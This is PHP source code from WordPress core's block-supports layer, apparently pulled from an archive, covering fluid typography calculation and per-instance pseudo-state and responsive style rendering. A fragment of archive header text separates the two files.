* * It mostly replaces the deprecated `wp_typography_get_css_variable_inline_style()`,
* but skips compiling a CSS declaration as the style engine takes over this role.
* @link https://github.com/wordpress/gutenberg/pull/27555
*
* @since 6.1.0
*
* @param string $style_value A raw style value for a single typography feature from a block's style attribute.
* @param string $css_property Slug for the CSS property the inline style sets.
* @return string A CSS inline style value.
*/
function wp_typography_get_preset_inline_style_value( $style_value, $css_property ) {
// If the style value is not a preset CSS variable go no further.
if ( empty( $style_value ) || ! str_contains( $style_value, "var:preset|{$css_property}|" ) ) {
return $style_value;
}
/*
* For backwards compatibility.
* Presets were removed in WordPress/gutenberg#27555.
* A preset CSS variable is the style.
* Gets the style value from the string and return CSS style.
*/
$index_to_splice = strrpos( $style_value, '|' ) + 1;
$slug = _wp_to_kebab_case( substr( $style_value, $index_to_splice ) );
// Return the actual CSS inline style value,
// e.g. `var(--wp--preset--text-decoration--underline);`.
return sprintf( 'var(--wp--preset--%s--%s);', $css_property, $slug );
}
/**
* Renders typography styles/content to the block wrapper.
*
* @since 6.1.0
*
* @param string $block_content Rendered block content.
* @param array $block Block object.
* @return string Filtered block content.
*/
function wp_render_typography_support( $block_content, $block ) {
if ( ! empty( $block['attrs']['fitText'] ) && $block['attrs']['fitText'] && ! is_admin() ) {
wp_enqueue_script_module( '@wordpress/block-editor/utils/fit-text-frontend' );
// Add Interactivity API directives for fit text to work with client-side navigation.
if ( ! empty( $block_content ) ) {
$processor = new WP_HTML_Tag_Processor( $block_content );
if ( $processor->next_tag() ) {
if ( ! $processor->get_attribute( 'data-wp-interactive' ) ) {
$processor->set_attribute( 'data-wp-interactive', true );
}
$processor->set_attribute( 'data-wp-context---core-fit-text', 'core/fit-text::{"fontSize":""}' );
$processor->set_attribute( 'data-wp-init---core-fit-text', 'core/fit-text::callbacks.init' );
$processor->set_attribute( 'data-wp-style--font-size', 'core/fit-text::context.fontSize' );
$block_content = $processor->get_updated_html();
}
}
// fitText supersedes any other typography features
return $block_content;
}
if ( ! isset( $block['attrs']['style']['typography']['fontSize'] ) ) {
return $block_content;
}
$custom_font_size = $block['attrs']['style']['typography']['fontSize'];
$fluid_font_size = wp_get_typography_font_size_value( array( 'size' => $custom_font_size ) );
/*
* Checks that $fluid_font_size does not match $custom_font_size,
* which means it's been mutated by the fluid font size functions.
*/
if ( ! empty( $fluid_font_size ) && $fluid_font_size !== $custom_font_size ) {
// Replaces the first instance of `font-size:$custom_font_size` with `font-size:$fluid_font_size`.
return preg_replace( '/font-size\s*:\s*' . preg_quote( $custom_font_size, '/' ) . '\s*;?/', 'font-size:' . esc_attr( $fluid_font_size ) . ';', $block_content, 1 );
}
return $block_content;
}
/**
* Checks a string for a unit and value and returns an array
* consisting of `'value'` and `'unit'`, e.g. array( '42', 'rem' ).
*
* @since 6.1.0
*
* @param string|int|float $raw_value Raw size value from theme.json.
* @param array $options {
* Optional. An associative array of options. Default is empty array.
*
* @type string $coerce_to Coerce the value to rem or px. Default `'rem'`.
* @type int $root_size_value Value of root font size for rem|em <-> px conversion. Default `16`.
* @type string[] $acceptable_units An array of font size units. Default `array( 'rem', 'px', 'em' )`;
* }
* @return array|null An array consisting of `'value'` and `'unit'` properties on success.
* `null` on failure.
* @phpstan-param array{
* coerce_to?: string,
* root_size_value?: positive-int,
* acceptable_units?: non-empty-array,
* } $options
* @phpstan-return array{ value: float, unit: non-empty-string }|null
*/
function wp_get_typography_value_and_unit( $raw_value, $options = array() ): ?array {
if ( ! is_string( $raw_value ) && ! is_int( $raw_value ) && ! is_float( $raw_value ) ) {
_doing_it_wrong(
__FUNCTION__,
__( 'Raw size value must be a string, integer, or float.' ),
'6.1.0'
);
return null;
}
if ( empty( $raw_value ) ) {
return null;
}
// Converts numbers to pixel values by default.
if ( is_numeric( $raw_value ) ) {
$raw_value = $raw_value . 'px';
}
$defaults = array(
'coerce_to' => '',
'root_size_value' => 16,
'acceptable_units' => array( 'rem', 'px', 'em' ),
);
/**
* @var array{
* coerce_to: string,
* root_size_value: positive-int,
* acceptable_units: non-empty-array,
* } $options
*/
$options = wp_parse_args( $options, $defaults );
// Bails out if the raw value can't be parsed.
if ( ! preg_match( '/^(\d*\.?\d+)([a-zA-Z]+|%)$/', $raw_value, $matches ) ) {
return null;
}
$value = (float) $matches[1];
$unit = $matches[2];
if ( ! in_array( $unit, $options['acceptable_units'], true ) ) {
return null;
}
/*
* Default browser font size. Later, possibly could inject some JS to
* compute this `getComputedStyle( document.querySelector( "html" ) ).fontSize`.
*/
if ( 'px' === $options['coerce_to'] && ( 'em' === $unit || 'rem' === $unit ) ) {
$value = $value * $options['root_size_value'];
$unit = $options['coerce_to'];
}
if ( 'px' === $unit && ( 'em' === $options['coerce_to'] || 'rem' === $options['coerce_to'] ) ) {
$value = $value / $options['root_size_value'];
$unit = $options['coerce_to'];
}
/*
* No calculation is required if swapping between em and rem yet,
* since we assume a root size value. Later we might like to differentiate between
* :root font size (rem) and parent element font size (em) relativity.
*/
if ( ( 'em' === $options['coerce_to'] || 'rem' === $options['coerce_to'] ) && ( 'em' === $unit || 'rem' === $unit ) ) {
$unit = $options['coerce_to'];
}
return array(
'value' => round( $value, 3 ),
'unit' => $unit,
);
}
/**
* Internal implementation of CSS clamp() based on available min/max viewport
* width and min/max font sizes.
*
* @since 6.1.0
* @since 6.3.0 Checks for unsupported min/max viewport values that cause invalid clamp values.
* @since 6.5.0 Returns early when min and max viewport subtraction is zero to avoid division by zero.
* @access private
*
* @param array $args {
* Optional. An associative array of values to calculate a fluid formula
* for font size. Default is empty array.
*
* @type string $maximum_viewport_width Maximum size up to which type will have fluidity.
* @type string $minimum_viewport_width Minimum viewport size from which type will have fluidity.
* @type string $maximum_font_size Maximum font size for any clamp() calculation.
* @type string $minimum_font_size Minimum font size for any clamp() calculation.
* @type int $scale_factor A scale factor to determine how fast a font scales within boundaries.
* }
* @return string|null A font-size value using clamp() on success, otherwise null.
*/
function wp_get_computed_fluid_typography_value( $args = array() ) {
$maximum_viewport_width_raw = $args['maximum_viewport_width'] ?? null;
$minimum_viewport_width_raw = $args['minimum_viewport_width'] ?? null;
$maximum_font_size_raw = $args['maximum_font_size'] ?? null;
$minimum_font_size_raw = $args['minimum_font_size'] ?? null;
$scale_factor = $args['scale_factor'] ?? null;
// Normalizes the minimum font size in order to use the value for calculations.
$minimum_font_size = wp_get_typography_value_and_unit( $minimum_font_size_raw );
/*
* We get a 'preferred' unit to keep units consistent when calculating,
* otherwise the result will not be accurate.
*/
$font_size_unit = $minimum_font_size['unit'] ?? 'rem';
// Normalizes the maximum font size in order to use the value for calculations.
$maximum_font_size = wp_get_typography_value_and_unit(
$maximum_font_size_raw,
array(
'coerce_to' => $font_size_unit,
)
);
// Checks for mandatory min and max sizes, and protects against unsupported units.
if ( ! $maximum_font_size || ! $minimum_font_size ) {
return null;
}
// Uses rem for accessible fluid target font scaling.
$minimum_font_size_rem = wp_get_typography_value_and_unit(
$minimum_font_size_raw,
array(
'coerce_to' => 'rem',
)
);
// Viewport widths defined for fluid typography. Normalize units.
$maximum_viewport_width = wp_get_typography_value_and_unit(
$maximum_viewport_width_raw,
array(
'coerce_to' => $font_size_unit,
)
);
$minimum_viewport_width = wp_get_typography_value_and_unit(
$minimum_viewport_width_raw,
array(
'coerce_to' => $font_size_unit,
)
);
// Protects against unsupported units in min and max viewport widths.
if ( ! $minimum_viewport_width || ! $maximum_viewport_width ) {
return null;
}
// Calculates the linear factor denominator. If it's 0, we cannot calculate a fluid value.
$linear_factor_denominator = $maximum_viewport_width['value'] - $minimum_viewport_width['value'];
if ( empty( $linear_factor_denominator ) ) {
return null;
}
/*
* Build CSS rule.
* Borrowed from https://websemantics.uk/tools/responsive-font-calculator/.
*/
$view_port_width_offset = round( $minimum_viewport_width['value'] / 100, 3 ) . $font_size_unit;
$linear_factor = 100 * ( ( $maximum_font_size['value'] - $minimum_font_size['value'] ) / ( $linear_factor_denominator ) );
$linear_factor_scaled = round( $linear_factor * $scale_factor, 3 );
$linear_factor_scaled = empty( $linear_factor_scaled ) ? 1 : $linear_factor_scaled;
$fluid_target_font_size = implode( '', $minimum_font_size_rem ) . " + ((1vw - $view_port_width_offset) * $linear_factor_scaled)";
return "clamp($minimum_font_size_raw, $fluid_target_font_size, $maximum_font_size_raw)";
}
/**
* Returns a font-size value based on a given font-size preset.
* Takes into account fluid typography parameters and attempts to return a CSS
* formula depending on available, valid values.
*
* @since 6.1.0
* @since 6.1.1 Adjusted rules for min and max font sizes.
* @since 6.2.0 Added 'settings.typography.fluid.minFontSize' support.
* @since 6.3.0 Using layout.wideSize as max viewport width, and logarithmic scale factor to calculate minimum font scale.
* @since 6.4.0 Added configurable min and max viewport width values to the typography.fluid theme.json schema.
* @since 6.6.0 Deprecated bool argument $should_use_fluid_typography.
* @since 6.7.0 Font size presets can enable fluid typography individually, even if it’s disabled globally.
*
* @param array $preset {
* Required. fontSizes preset value as seen in theme.json.
*
* @type string $name Name of the font size preset.
* @type string $slug Kebab-case, unique identifier for the font size preset.
* @type string|int|float $size CSS font-size value, including units if applicable.
* }
* @param bool|array $settings Optional Theme JSON settings array that overrides any global theme settings.
* Default is false.
* @return string|null Font-size value or null if a size is not passed in $preset.
*/
function wp_get_typography_font_size_value( $preset, $settings = array() ) {
if ( ! isset( $preset['size'] ) ) {
return null;
}
/*
* Catches falsy values and 0/'0'. Fluid calculations cannot be performed on `0`.
* Also returns early when a preset font size explicitly disables fluid typography with `false`.
*/
$fluid_font_size_settings = $preset['fluid'] ?? null;
if ( false === $fluid_font_size_settings || empty( $preset['size'] ) ) {
return $preset['size'];
}
/*
* As a boolean (deprecated since 6.6), $settings acts as an override to switch fluid typography "on" (`true`) or "off" (`false`).
*/
if ( is_bool( $settings ) ) {
_deprecated_argument( __FUNCTION__, '6.6.0', __( '`boolean` type for second argument `$settings` is deprecated. Use `array()` instead.' ) );
$settings = array(
'typography' => array(
'fluid' => $settings,
),
);
}
// Fallback to global settings as default.
$global_settings = wp_get_global_settings();
$settings = wp_parse_args(
$settings,
$global_settings
);
$typography_settings = $settings['typography'] ?? array();
/*
* Return early when fluid typography is disabled in the settings, and there
* are no local settings to enable it for the individual preset.
*
* If this condition isn't met, either the settings or individual preset settings
* have enabled fluid typography.
*/
if ( empty( $typography_settings['fluid'] ) && empty( $fluid_font_size_settings ) ) {
return $preset['size'];
}
$fluid_settings = $typography_settings['fluid'] ?? array();
$layout_settings = $settings['layout'] ?? array();
// Defaults.
$default_maximum_viewport_width = '1600px';
$default_minimum_viewport_width = '320px';
$default_minimum_font_size_factor_max = 0.75;
$default_minimum_font_size_factor_min = 0.25;
$default_scale_factor = 1;
$default_minimum_font_size_limit = '14px';
// Defaults overrides.
$minimum_viewport_width = $fluid_settings['minViewportWidth'] ?? $default_minimum_viewport_width;
$maximum_viewport_width = isset( $layout_settings['wideSize'] ) && ! empty( wp_get_typography_value_and_unit( $layout_settings['wideSize'] ) ) ? $layout_settings['wideSize'] : $default_maximum_viewport_width;
if ( isset( $fluid_settings['maxViewportWidth'] ) ) {
$maximum_viewport_width = $fluid_settings['maxViewportWidth'];
}
$has_min_font_size = isset( $fluid_settings['minFontSize'] ) && ! empty( wp_get_typography_value_and_unit( $fluid_settings['minFontSize'] ) );
$minimum_font_size_limit = $has_min_font_size ? $fluid_settings['minFontSize'] : $default_minimum_font_size_limit;
// Try to grab explicit min and max fluid font sizes.
$minimum_font_size_raw = $fluid_font_size_settings['min'] ?? null;
$maximum_font_size_raw = $fluid_font_size_settings['max'] ?? null;
// Font sizes.
$preferred_size = wp_get_typography_value_and_unit( $preset['size'] );
// Protects against unsupported units.
if ( empty( $preferred_size['unit'] ) ) {
return $preset['size'];
}
/*
* Normalizes the minimum font size limit according to the incoming unit,
* in order to perform comparative checks.
*/
$minimum_font_size_limit = wp_get_typography_value_and_unit(
$minimum_font_size_limit,
array(
'coerce_to' => $preferred_size['unit'],
)
);
// Don't enforce minimum font size if a font size has explicitly set a min and max value.
if ( ! empty( $minimum_font_size_limit ) && ( ! $minimum_font_size_raw && ! $maximum_font_size_raw ) ) {
/*
* If a minimum size was not passed to this function
* and the user-defined font size is lower than $minimum_font_size_limit,
* do not calculate a fluid value.
*/
if ( $preferred_size['value'] <= $minimum_font_size_limit['value'] ) {
return $preset['size'];
}
}
// If no fluid max font size is available use the incoming value.
if ( ! $maximum_font_size_raw ) {
$maximum_font_size_raw = $preferred_size['value'] . $preferred_size['unit'];
}
/*
* If no minimumFontSize is provided, create one using
* the given font size multiplied by the min font size scale factor.
*/
if ( ! $minimum_font_size_raw ) {
$preferred_font_size_in_px = 'px' === $preferred_size['unit'] ? $preferred_size['value'] : $preferred_size['value'] * 16;
/*
* The scale factor is a multiplier that affects how quickly the curve will move towards the minimum,
* that is, how quickly the size factor reaches 0 given increasing font size values.
* For a - b * log2(), lower values of b will make the curve move towards the minimum faster.
* The scale factor is constrained between min and max values.
*/
$minimum_font_size_factor = clamp( 1 - 0.075 * log( $preferred_font_size_in_px, 2 ), $default_minimum_font_size_factor_min, $default_minimum_font_size_factor_max );
$calculated_minimum_font_size = round( $preferred_size['value'] * $minimum_font_size_factor, 3 );
// Only use calculated min font size if it's > $minimum_font_size_limit value.
if ( ! empty( $minimum_font_size_limit ) && $calculated_minimum_font_size <= $minimum_font_size_limit['value'] ) {
$minimum_font_size_raw = $minimum_font_size_limit['value'] . $minimum_font_size_limit['unit'];
} else {
$minimum_font_size_raw = $calculated_minimum_font_size . $preferred_size['unit'];
}
}
$fluid_font_size_value = wp_get_computed_fluid_typography_value(
array(
'minimum_viewport_width' => $minimum_viewport_width,
'maximum_viewport_width' => $maximum_viewport_width,
'minimum_font_size' => $minimum_font_size_raw,
'maximum_font_size' => $maximum_font_size_raw,
'scale_factor' => $default_scale_factor,
)
);
if ( ! empty( $fluid_font_size_value ) ) {
return $fluid_font_size_value;
}
return $preset['size'];
}
// Register the block support.
WP_Block_Supports::get_instance()->register(
'typography',
array(
'register_attribute' => 'wp_register_typography_support',
'apply' => 'wp_apply_typography_support',
)
);
PK O1]gvU vU
states.phpnu [ $nested_value ) {
$value[ $key ] = wp_normalize_state_preset_vars( $nested_value );
}
return $value;
}
if ( ! is_string( $value ) || ! str_starts_with( $value, 'var:preset|' ) ) {
return $value;
}
$unwrapped_name = str_replace( '|', '--', substr( $value, strlen( 'var:' ) ) );
return "var(--wp--$unwrapped_name)";
}
/**
* Normalizes a state style object before generating CSS declarations.
*
* @since 7.1.0
*
* @param array $style State style object.
* @return array Normalized state style object.
*/
function wp_normalize_state_style_for_css_output( $style ) {
// Layout is processed separately by wp_render_layout_support_flag(), so we remove it before declaration generation.
unset( $style['layout'] );
$style = wp_normalize_state_preset_vars( $style );
return $style;
}
/**
* Adds fallback border-style declarations for visible border declarations.
*
* CSS does not render border color or width unless a border style is also set.
* State styles are emitted as stylesheet rules rather than inline styles, so
* they cannot rely on the block-library inline-style attribute fallback rules.
*
* @since 7.1.0
*
* @param array $declarations CSS declarations generated by the style engine.
* @return array CSS declarations with fallback border styles applied where needed.
*/
function wp_get_state_declarations_with_fallback_border_styles( $declarations ) {
if ( ! is_array( $declarations ) ) {
return $declarations;
}
$has_border_style = isset( $declarations['border-style'] ) && '' !== $declarations['border-style'];
$has_border_color = isset( $declarations['border-color'] ) && '' !== $declarations['border-color'];
$has_border_width = isset( $declarations['border-width'] ) && '' !== $declarations['border-width'];
if ( ! $has_border_style && ( $has_border_color || $has_border_width ) ) {
$declarations['border-style'] = 'solid';
}
$sides = array( 'top', 'right', 'bottom', 'left' );
foreach ( $sides as $side ) {
$side_style_property = "border-$side-style";
$side_color_property = "border-$side-color";
$side_width_property = "border-$side-width";
$has_side_style = isset( $declarations[ $side_style_property ] ) && '' !== $declarations[ $side_style_property ];
$has_side_color = isset( $declarations[ $side_color_property ] ) && '' !== $declarations[ $side_color_property ];
$has_side_width = isset( $declarations[ $side_width_property ] ) && '' !== $declarations[ $side_width_property ];
if ( ! $has_border_style && ! $has_side_style && ( $has_side_color || $has_side_width ) ) {
$declarations[ $side_style_property ] = 'solid';
}
}
return $declarations;
}
/**
* Adds background reset declarations to prevent gradient/solid color conflicts.
*
* When a state sets a solid background-color, any gradient applied to the
* default state (via `background` shorthand or `background-image`) must be
* explicitly cleared. Without this, the gradient image layer remains visible
* on top of the solid hover color even when `!important` is used, because
* `background-color` and `background-image` are separate CSS properties.
*
* @since 7.1.0
*
* @param array $declarations CSS declarations generated by the style engine.
* @return array CSS declarations with background resets applied where needed.
*/
function wp_get_state_declarations_with_background_resets( $declarations ) {
if ( ! is_array( $declarations ) ) {
return $declarations;
}
$has_background_color = isset( $declarations['background-color'] ) && '' !== $declarations['background-color'];
$has_background = isset( $declarations['background'] ) && '' !== $declarations['background'];
$has_background_image = isset( $declarations['background-image'] ) && '' !== $declarations['background-image'];
/*
* When the state sets a solid background-color but no gradient of its own,
* emit `background-image: unset` to clear any gradient (whether stored as
* the `background` shorthand or as `background-image`) that was applied to
* the default / normal state via an inline style attribute. The declaration
* is marked important when the state rule is registered with the style engine.
*/
if ( $has_background_color && ! $has_background && ! $has_background_image ) {
$declarations['background-image'] = 'unset';
}
return $declarations;
}
/**
* Adds fallback dimension styles for aspectRatio and height block-support values.
*
* @since 7.1.0
*
* @param array $state_style State style object.
* @return array State style object with fallback dimension styles applied where needed.
*/
function wp_get_state_style_with_fallback_dimension_styles( $state_style ) {
if ( ! is_array( $state_style ) ) {
return $state_style;
}
$dimensions = isset( $state_style['dimensions'] ) && is_array( $state_style['dimensions'] )
? $state_style['dimensions']
: array();
if ( empty( $dimensions ) ) {
return $state_style;
}
if ( wp_is_explicit_aspect_ratio_value( $dimensions['aspectRatio'] ?? null ) ) {
return array_replace_recursive(
$state_style,
array(
'dimensions' => array(
'minHeight' => 'unset',
'height' => 'unset',
),
)
);
}
$has_min_height = isset( $dimensions['minHeight'] ) && ( is_string( $dimensions['minHeight'] ) || is_numeric( $dimensions['minHeight'] ) ) && '' !== trim( (string) $dimensions['minHeight'] );
$has_height = isset( $dimensions['height'] ) && ( is_string( $dimensions['height'] ) || is_numeric( $dimensions['height'] ) ) && '' !== trim( (string) $dimensions['height'] );
if ( $has_min_height || $has_height ) {
return array_replace_recursive(
$state_style,
array(
'dimensions' => array(
'aspectRatio' => 'unset',
),
)
);
}
return $state_style;
}
/**
* Adds a style fragment to a selector-keyed state style group.
*
* @since 7.1.0
*
* @param array $groups Selector-keyed style groups.
* @param string|null $selector Block or feature selector.
* @param array $style Style fragment.
*/
function wp_add_state_style_group( &$groups, $selector, $style ) {
$key = is_string( $selector ) ? $selector : '';
if ( ! isset( $groups[ $key ] ) ) {
$groups[ $key ] = array(
'selector' => $selector,
'style' => array(),
);
}
$groups[ $key ]['style'] = array_replace_recursive( $groups[ $key ]['style'], $style );
}
/**
* Splits a state style object into groups based on block feature selectors.
*
* @since 7.1.0
*
* @param array $state_style State style object.
* @param array $block_selectors Block selectors metadata.
* @return array[] Selector/style groups.
*/
function wp_get_state_style_groups( $state_style, $block_selectors ) {
$groups = array();
foreach ( $state_style as $feature => $feature_styles ) {
$feature_selectors = $block_selectors[ $feature ] ?? null;
if ( is_string( $feature_selectors ) ) {
wp_add_state_style_group(
$groups,
$feature_selectors,
array( $feature => $feature_styles )
);
continue;
}
if ( is_array( $feature_selectors ) && is_array( $feature_styles ) ) {
$remaining_styles = $feature_styles;
foreach ( $feature_selectors as $subfeature => $subfeature_selector ) {
if (
'root' === $subfeature ||
! is_string( $subfeature_selector ) ||
! array_key_exists( $subfeature, $feature_styles )
) {
continue;
}
wp_add_state_style_group(
$groups,
$subfeature_selector,
array(
$feature => array(
$subfeature => $feature_styles[ $subfeature ],
),
)
);
unset( $remaining_styles[ $subfeature ] );
}
if ( array() !== $remaining_styles ) {
wp_add_state_style_group(
$groups,
$feature_selectors['root'] ?? ( $block_selectors['root'] ?? null ),
array( $feature => $remaining_styles )
);
}
continue;
}
wp_add_state_style_group(
$groups,
$block_selectors['root'] ?? null,
array( $feature => $feature_styles )
);
}
return array_values( $groups );
}
/**
* Returns a style object with nested state keys removed.
*
* @since 7.1.0
*
* @param array $state_style State style object.
* @param array $nested_keys Keys to remove from the root style object.
* @return array Root-only style object.
*/
function wp_get_root_state_style( $state_style, $nested_keys ) {
if ( ! is_array( $state_style ) ) {
return $state_style;
}
$root_style = $state_style;
foreach ( $nested_keys as $key ) {
unset( $root_style[ $key ] );
}
return $root_style;
}
/**
* Generates all element selectors for a block root selector.
*
* @since 7.1.0
*
* @param string $root_selector The block root CSS selector.
* @return string[] Element selectors keyed by element name.
*/
function wp_get_block_state_element_selectors( $root_selector ) {
if ( ! is_string( $root_selector ) || '' === trim( $root_selector ) ) {
return array();
}
$block_selectors = wp_split_selector_list( $root_selector );
$element_selectors = array();
foreach ( WP_Theme_JSON::ELEMENTS as $element_name => $element_selector ) {
$selectors = array();
foreach ( $block_selectors as $block_selector ) {
$block_selector = trim( $block_selector );
if ( '' === $block_selector ) {
continue;
}
if ( $block_selector === $element_selector ) {
$selectors = array( $element_selector );
break;
}
$selector_prefix = "$block_selector ";
if ( ! str_contains( $element_selector, ',' ) ) {
$selectors[] = $selector_prefix . $element_selector;
continue;
}
$prepended_selectors = array();
foreach ( wp_split_selector_list( $element_selector ) as $selector ) {
$prepended_selectors[] = $selector_prefix . $selector;
}
$selectors[] = implode( ',', $prepended_selectors );
}
if ( ! empty( $selectors ) ) {
$element_selectors[ $element_name ] = implode( ',', $selectors );
}
}
return $element_selectors;
}
/**
* Adds a compiled state style rule to a rule list.
*
* @since 7.1.0
*
* @param array $css_rules Style rules.
* @param string $state Pseudo-state selector.
* @param string|null $selector Block, feature, or element selector.
* @param array $style Style object.
* @param string|null $rules_group Optional CSS grouping rule, e.g. a media query.
*/
function wp_add_block_state_style_rule( &$css_rules, $state, $selector, $style, $rules_group = null ) {
if ( empty( $style ) || ! is_array( $style ) ) {
return;
}
$compiled = wp_style_engine_get_styles(
wp_normalize_state_style_for_css_output( $style )
);
$declarations = $compiled['declarations'] ?? array();
$text_align = $style['typography']['textAlign'] ?? null;
// Base text alignment is class-based, so state styles need a declaration.
if ( is_string( $text_align ) && '' !== trim( $text_align ) ) {
$declarations['text-align'] = $text_align;
}
if ( empty( $declarations ) ) {
return;
}
$css_rules[] = array(
'state' => $state,
'selector' => $selector,
'declarations' => $declarations,
);
if ( ! empty( $rules_group ) ) {
$css_rules[ count( $css_rules ) - 1 ]['rules_group'] = $rules_group;
}
}
/**
* Builds compiled state style rules, preserving the selector each rule targets.
*
* @since 7.1.0
*
* @param array $state_styles Map of state to style array.
* @param WP_Block_Type $block_type Block type.
* @param string|null $rules_group Optional CSS grouping rule, e.g. a media query.
* @return array[] State style rules.
*/
function wp_get_block_state_style_rules( $state_styles, $block_type, $rules_group = null ) {
$css_rules = array();
$block_selectors = isset( $block_type->selectors ) && is_array( $block_type->selectors )
? $block_type->selectors
: array();
foreach ( $state_styles as $state => $state_style ) {
if ( empty( $state_style ) || ! is_array( $state_style ) ) {
continue;
}
foreach ( wp_get_state_style_groups( $state_style, $block_selectors ) as $group ) {
wp_add_block_state_style_rule(
$css_rules,
$state,
$group['selector'],
$group['style'],
$rules_group
);
}
}
return $css_rules;
}
/**
* Returns a unique class for a set of state style rules.
*
* @since 7.1.0
*
* @param string $block_name Block name.
* @param array $css_rules State style rules.
* @return string Unique class name.
*/
function wp_get_block_state_unique_class( $block_name, $css_rules ) {
return 'wp-states-' . substr(
md5(
wp_json_encode(
array(
'blockName' => $block_name,
'rules' => $css_rules,
)
)
),
0,
8
);
}
/**
* Splits a selector list by top-level commas.
*
* @since 7.1.0
*
* @param string $selector CSS selector list.
* @return string[] Selectors.
*/
function wp_split_selector_list( $selector ) {
if ( ! str_contains( $selector, ',' ) ) {
return array( $selector );
}
$selectors = array();
$current_selector = '';
$parentheses_depth = 0;
$selector_length = strlen( $selector );
for ( $i = 0; $i < $selector_length; $i++ ) {
$char = $selector[ $i ];
if ( '(' === $char ) {
++$parentheses_depth;
} elseif ( ')' === $char && $parentheses_depth > 0 ) {
--$parentheses_depth;
} elseif ( ',' === $char && 0 === $parentheses_depth ) {
$selectors[] = $current_selector;
$current_selector = '';
continue;
}
$current_selector .= $char;
}
$selectors[] = $current_selector;
return $selectors;
}
/**
* Builds a scoped selector from a block selector and optional pseudo-state.
*
* @since 7.1.0
*
* @param string $base_selector Block-instance scoping selector.
* @param string|null $block_selector Block or feature selector from metadata.
* @param string $state Pseudo-state selector.
* @return string Scoped selector.
*/
function wp_build_state_selector( $base_selector, $block_selector, $state ) {
if ( ! is_string( $block_selector ) || '' === trim( $block_selector ) ) {
return $base_selector . $state;
}
$selectors = wp_split_selector_list( $block_selector );
$scoped_selectors = array();
foreach ( $selectors as $selector ) {
$selector = trim( $selector );
if ( '' === $selector ) {
continue;
}
/*
* Replace only the leading block selector part (e.g. class name,
* attribute selector, ID, or tag name) with the block instance selector.
* Preserve anything after that prefix, including modifier classes on the
* same element and combinators without spaces.
*/
if ( preg_match( '/^([.#]?[-_a-zA-Z0-9]+|\[[^\]]+\])/', $selector, $matches ) ) {
$scoped_selectors[] = $base_selector . substr( $selector, strlen( $matches[0] ) ) . $state;
continue;
}
$scoped_selectors[] = $base_selector . $state;
}
return empty( $scoped_selectors )
? $base_selector . $state
: implode( ', ', $scoped_selectors );
}
/**
* Renders per-instance state styles on the frontend.
*
* @since 7.1.0
*
* @param string $block_content The block's rendered HTML.
* @param array $block The block data including blockName and attrs.
* @return string Modified block content with injected state styles.
*/
function wp_render_block_states_support( $block_content, $block ) {
if ( empty( $block['blockName'] ) || empty( $block_content ) ) {
return $block_content;
}
$block_name = $block['blockName'];
$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block_name );
if ( ! $block_type ) {
return $block_content;
}
$supported_pseudo_states = WP_Theme_JSON::VALID_BLOCK_PSEUDO_SELECTORS[ $block_name ] ?? array();
$style = $block['attrs']['style'] ?? array();
$css_rules = array();
$viewport_settings = wp_get_global_settings( array( 'viewport' ) );
$responsive_media_queries = WP_Theme_JSON::get_viewport_media_queries( $viewport_settings );
foreach ( $supported_pseudo_states as $pseudo_state ) {
if ( empty( $style[ $pseudo_state ] ) || ! is_array( $style[ $pseudo_state ] ) ) {
continue;
}
$css_rules = array_merge(
$css_rules,
wp_get_block_state_style_rules(
array( $pseudo_state => $style[ $pseudo_state ] ),
$block_type
)
);
}
foreach ( $responsive_media_queries as $breakpoint => $media_query ) {
if ( empty( $style[ $breakpoint ] ) || ! is_array( $style[ $breakpoint ] ) ) {
continue;
}
$root_state_style = wp_get_root_state_style(
$style[ $breakpoint ],
array_merge( array( 'elements' ), $supported_pseudo_states )
);
if ( ! empty( $root_state_style ) ) {
$css_rules = array_merge(
$css_rules,
wp_get_block_state_style_rules(
array( '' => $root_state_style ),
$block_type,
$media_query
)
);
}
if (
! empty( $style[ $breakpoint ]['elements'] ) &&
is_array( $style[ $breakpoint ]['elements'] )
) {
$element_selectors = wp_get_block_state_element_selectors(
wp_get_block_css_selector( $block_type )
);
foreach ( $style[ $breakpoint ]['elements'] as $element_name => $element_style ) {
if (
empty( $element_style ) ||
! is_array( $element_style ) ||
empty( $element_selectors[ $element_name ] )
) {
continue;
}
$element_pseudo_states = WP_Theme_JSON::VALID_ELEMENT_PSEUDO_SELECTORS[ $element_name ]
?? array();
$root_element_style = wp_get_root_state_style(
$element_style,
$element_pseudo_states
);
wp_add_block_state_style_rule(
$css_rules,
'',
$element_selectors[ $element_name ],
$root_element_style,
$media_query
);
foreach ( $element_pseudo_states as $pseudo_state ) {
if (
empty( $element_style[ $pseudo_state ] ) ||
! is_array( $element_style[ $pseudo_state ] )
) {
continue;
}
wp_add_block_state_style_rule(
$css_rules,
$pseudo_state,
$element_selectors[ $element_name ],
$element_style[ $pseudo_state ],
$media_query
);
}
}
}
foreach ( $supported_pseudo_states as $pseudo_state ) {
if ( empty( $style[ $breakpoint ][ $pseudo_state ] ) || ! is_array( $style[ $breakpoint ][ $pseudo_state ] ) ) {
continue;
}
$css_rules = array_merge(
$css_rules,
wp_get_block_state_style_rules(
array( $pseudo_state => $style[ $breakpoint ][ $pseudo_state ] ),
$block_type,
$media_query
)
);
}
}
if ( empty( $css_rules ) ) {
return $block_content;
}
$unique_class = wp_get_block_state_unique_class( $block_name, $css_rules );
/*
* Register each state's CSS rules with the block-supports style engine store.
* The store deduplicates rules by selector — two block instances with identical
* state styles share the same hash class and therefore the same selector,
* so only one CSS rule is emitted. The store is flushed to the page by
* wp_enqueue_stored_styles() rather than injected inline here.
*
* State declarations need !important to apply reliably over inline styles and
* preset utility classes such as .has-accent-3-background-color.
*
* Layout-driven state styles (responsive layout, blockGap, child layout) are
* handled by wp_render_layout_support_flag() so they share a selector with
* the base layout and target the correct (inner) wrapper element.
*/
$style_rules = array();
foreach ( $css_rules as $rule ) {
$declarations = $rule['declarations'];
$important_declaration_values = wp_get_state_declarations_with_background_resets( $declarations );
$important_declarations = new WP_Style_Engine_CSS_Declarations();
foreach ( $important_declaration_values as $property => $value ) {
$important_declarations->add_declaration(
$property,
$value,
array(
'important' => true,
)
);
}
$selector = wp_build_state_selector(
".$unique_class",
$rule['selector'],
$rule['state']
);
$important_style_rule = array(
'selector' => $selector,
'declarations' => $important_declarations,
);
if ( ! empty( $rule['rules_group'] ) ) {
$important_style_rule['rules_group'] = $rule['rules_group'];
}
$style_rules[] = $important_style_rule;
$fallback_declarations = wp_get_state_declarations_with_fallback_border_styles( $declarations );
foreach ( array_keys( $declarations ) as $property ) {
unset( $fallback_declarations[ $property ] );
}
if ( empty( $fallback_declarations ) ) {
continue;
}
$fallback_style_rule = array(
'selector' => $selector,
'declarations' => $fallback_declarations,
);
